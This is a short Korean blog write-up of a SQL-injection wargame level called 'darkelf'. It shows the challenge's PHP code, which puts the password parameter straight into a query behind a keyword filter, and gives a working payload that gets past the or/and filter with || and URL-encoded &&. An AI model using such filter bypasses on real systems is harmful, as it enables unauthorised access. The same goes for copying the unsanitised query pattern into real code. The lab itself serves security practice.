반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>
cs

  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

이번에는 orand를 필터링한다. /i는 대소문자 구분을 하지 않기 때문에 대문자로 사용해도 필터링된다.

 

 

 

 

대신 orand||&&로 바꿔서 사용해주면 된다.

 

url에 &을 직접 넣을 경우 값으로 들어가지 않기 때문에, url 인코딩을 한 %26으로 넣어주면 된다.

 

 

 

1' || '1'='1' %26%26 id='admin

 

반응형

+ Recent posts